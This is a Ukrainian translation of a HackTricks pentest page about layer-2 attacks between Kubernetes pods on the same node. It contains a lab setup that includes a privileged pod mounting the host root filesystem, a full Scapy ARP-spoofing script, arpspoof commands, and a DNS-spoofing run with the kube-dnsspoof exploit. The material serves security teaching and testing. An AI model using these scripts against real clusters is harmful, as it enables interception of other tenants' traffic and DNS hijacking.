Kubernetes Network Attacks

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Вступ

У Kubernetes спостерігається, що типова поведінка дозволяє встановлювати зв'язки між усіма контейнерами, що розташовані на одному вузлі. Це стосується незалежно від різниць у просторах імен. Таке з'єднання простягається до рівня 2 (Ethernet). Внаслідок цього конфігурація потенційно викладає систему на вразливість. Зокрема, вона відкриває можливість для зловмисного контейнера виконати атаку спуфінгу ARP проти інших контейнерів, що розташовані на тому ж вузлі. Під час такої атаки зловмисний контейнер може обманом перехоплювати або змінювати мережевий трафік, призначений для інших контейнерів.

Атаки спуфінгу ARP включають відправку фальшивих повідомлень ARP (протокол розподілу адрес) по локальній мережі. Це призводить до зв'язування MAC-адреси атакуючого з IP-адресою легітимного комп'ютера або сервера в мережі. Після успішного виконання такої атаки атакуючий може перехоплювати, змінювати або навіть зупиняти дані у русі. Атака виконується на рівні 2 моделі OSI, тому типове з'єднання в Kubernetes на цьому рівні викликає побоювання з питань безпеки.

У сценарії буде створено 4 машини:

  • ubuntu-pe: Привілейована машина для виходу на вузол та перевірки метрик (не потрібна для атаки)

  • ubuntu-attack: Зловмисний контейнер у просторі імен за замовчуванням

  • ubuntu-victim: Жертва на машині в просторі імен kube-system

  • mysql: Жертва на машині в просторі імен за замовчуванням

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Основна мережева структура Kubernetes

Якщо ви хочете отримати більше деталей про введені тут мережеві теми, перейдіть до посилань.

ARP

Загалом, мережеве з'єднання вузла до вузла всередині вузла доступне через міст, який з'єднує всі вузли. Цей міст називається "cbr0". (Деякі мережеві додатки встановлюватимуть свій власний міст.) cbr0 також може обробляти ARP (протокол розв'язування адрес). Коли вхідний пакет надходить на cbr0, він може вирішити MAC-адресу призначення за допомогою ARP.

Цей факт означає, що, за замовчуванням, кожний під, що працює на тому ж вузлі, зможе спілкуватися з будь-яким іншим підом на тому ж вузлі (незалежно від простору імен) на рівні Ethernet (рівень 2).

Отже, можливо виконати атаки ARP Spoofing між підами на тому ж вузлі.

DNS

У середовищах Kubernetes ви зазвичай знайдете 1 (або більше) DNS-сервіси, що працюють зазвичай в просторі імен kube-system:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

У попередній інформації ви можете побачити щось цікаве, IP-адреса сервісу - 10.96.0.10, але IP-адреса pod, на якому працює сервіс, - 172.17.0.2.

Якщо ви перевірите DNS-адресу всередині будь-якого pod, ви знайдете щось на кшталт цього:

cat /etc/resolv.conf
nameserver 10.96.0.10

Проте, підсистема не знає, як дістатися до цієї адреси, оскільки діапазон підсистеми в даному випадку - 172.17.0.10/26.

Отже, підсистема буде відправляти запити DNS на адресу 10.96.0.10, яку буде перекладено cbr0 на 172.17.0.2.

Це означає, що запит DNS підсистеми завжди буде йти до мосту, щоб перекласти IP-адресу служби на IP-адресу кінцевої точки, навіть якщо DNS-сервер знаходиться в тій же підмережі, що й підсистема.

Знаючи це, і знаючи, що ARP-атаки можливі, підсистема на вузлі зможе перехоплювати трафік між кожною підсистемою в підмережі та мостом і змінювати відповіді DNS від DNS-сервера (DNS-підроблення).

Більше того, якщо DNS-сервер знаходиться на тому ж вузлі, що й зловмисник, зловмисник може перехоплювати всі запити DNS будь-якої підсистеми в кластері (між DNS-сервером та мостом) та змінювати відповіді.

ARP-підроблення в підсистемах на тому ж вузлі

Наша мета - вкрасти принаймні комунікацію від ubuntu-victim до mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Підробка

Як вже було зазначено, якщо ви компрометуєте під узлом DNS-сервера в тому ж вузлі, ви можете MitM з ARPSpoofing між мостом та DNS-підсистемою та змінити всі відповіді DNS.

У вас є дуже гарний інструмент та посібник для тестування цього за посиланням https://github.com/danielsagi/kube-dnsspoof/

У нашому сценарії завантажте інструмент в атакуючий підсистемі та створіть **файл з назвою hosts ** з доменами, які ви хочете підробити, наприклад:

cat hosts
google.com. 1.1.1.1

Виконайте атаку на машину ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Якщо ви спробуєте створити свій власний скрипт підробки DNS, якщо ви лише зміните відповідь DNS, це не працюватиме, оскільки відповідь буде мати IP-адресу джерела IP-адреса зловмисного поду і не буде прийнята. Вам потрібно згенерувати новий пакет DNS з IP-адресою джерела DNS, куди жертва відправляє запит DNS (що є щось на кшталт 172.16.0.2, а не 10.96.0.10, це IP-адреса служби DNS K8s, а не IP-адреса DNS-сервера, більше про це в інтро).

Захоплення трафіку

Інструмент Mizu - це простий, але потужний переглядач трафіку API для Kubernetes, який дозволяє вам переглядати всю комунікацію API між мікросервісами для допомоги у відлагодженні та усуненні несправностей. Він встановлює агенти в обраних подах, збирає їх інформацію про трафік та показує вам на веб-сервері. Однак для цього вам знадобляться високі дозволи K8s (і це не дуже приховано).

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated